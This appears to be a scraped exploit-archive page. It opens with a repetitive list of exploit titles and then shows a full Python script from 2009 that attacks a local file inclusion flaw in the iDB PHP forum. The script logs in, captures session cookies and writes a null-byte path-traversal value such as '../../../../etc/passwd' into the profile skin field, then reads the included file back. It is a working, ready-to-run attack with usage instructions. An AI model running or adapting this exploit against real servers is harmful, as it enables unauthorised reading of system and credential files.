477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
84 lines
2.9 KiB
Python
Executable file
84 lines
2.9 KiB
Python
Executable file
#!/usr/bin/env
|
|
# LOTFREE 2009 - lotfree.next-touch.com
|
|
# Local require() vulnerability in iDB (a PHP/MySQL BBS)
|
|
# Test on version 0.2.5 Pre-Alpha SVN 243 (released March 30, 2009)
|
|
#
|
|
# No checks are made on var "skin" in inc/profilemain.php before saving it to database
|
|
# this value is then require()d in mysql.php as $_GET['theme'] (global var is overwritten) :
|
|
#=> require($SettDir['themes'].$_GET['theme']."/settings.php");
|
|
# so if we set "skin" to (for example) "../../../../../etc/passwd\0" we can get the passwd
|
|
# file content :)
|
|
# skin is saved to mysql as "UseTheme" in table idb_members
|
|
# !! the type is "varchar(26)" so we are limited in injection :( !!
|
|
#
|
|
# Website of iDB : http://idb.berlios.de/ - http://sourceforge.net/projects/freshmeat_idb/
|
|
import urllib, urllib2, sys
|
|
|
|
print "\tLOTFREE - iDB local PHP file inclusion vulnerability exploit\n"
|
|
if len(sys.argv)!=5:
|
|
print "Usage: python LOTF-iDB.py <forum_root> <local_path_for_inclusion> <login> <password>"
|
|
print "e.g: python LOTF-iDB.py http://localhost/iDB/ ../../../../etc/passwd johndoe s3cr3t"
|
|
print "use python LOTF-iDB.py <forum_root> iDB <login> <password> to restore the default skin"
|
|
sys.exit()
|
|
|
|
forum_root = sys.argv[1]
|
|
if forum_root[-1]!="/":
|
|
forum_root += "/"
|
|
username = sys.argv[3]
|
|
password = sys.argv[4]
|
|
skin = ""
|
|
if sys.argv[2]=="iDB":
|
|
skin = "iDB"
|
|
else:
|
|
skin = sys.argv[2]+"\0"
|
|
if len(skin)>26:
|
|
print "Path for inclusion must be lower than 27 chars in length due to SQL structure :("
|
|
sys.exit()
|
|
|
|
print "Logging on the server..."
|
|
qs = {"username":username, "userpass": password, "storecookie": "true", "act": "loginmember"}
|
|
req = urllib2.Request(forum_root+"member.php?act=login_now",urllib.urlencode(qs))
|
|
data = urllib2.urlopen(req)
|
|
cookies = data.headers.getheaders("set-cookie")
|
|
cook = []
|
|
for c in cookies:
|
|
for t in c.split(";"):
|
|
if t.find("=")>0:
|
|
k = t.split("=")[0]
|
|
v = t.split("=",1)[1]
|
|
if k in ["idb_sess", "MemberName", "UserID", "SessPass"]:
|
|
cook.append(k+"="+v)
|
|
cook_str = "; ".join(cook)
|
|
print "Cookie string:",cook_str
|
|
print
|
|
|
|
|
|
qs = {"YourOffSet" : "0",
|
|
"MinOffSet" : "00",
|
|
"skin" : skin,
|
|
"RepliesPerPage" : "10",
|
|
"TopicsPerPage" : "10",
|
|
"MessagesPerPage" : "10",
|
|
"DST" : "off",
|
|
"act" : "settings",
|
|
"update" : "now"}
|
|
c_headers = {"Cookie": cook_str, "Referer": forum_root+"profile.php?act=settings"}
|
|
print "Sending payload..."
|
|
req = urllib2.Request(forum_root+"profile.php?act=settings",urllib.urlencode(qs),c_headers)
|
|
urllib2.urlopen(req)
|
|
|
|
req = urllib2.Request(forum_root+"index.php?act=view",headers=c_headers)
|
|
data = urllib2.urlopen(req).read()
|
|
# if /etc/passwd was included
|
|
if data.find("root:x:0:0:")>=0:
|
|
print data.split("<")[0]
|
|
elif skin=="iDB":
|
|
print "Default skin restored!"
|
|
elif data.find("require")>=0:
|
|
print "Oups... file not found or access forbidden :(\n"
|
|
print data[:200]
|
|
else:
|
|
print "Output:"
|
|
print data
|
|
|
|
# milw0rm.com [2009-04-06]
|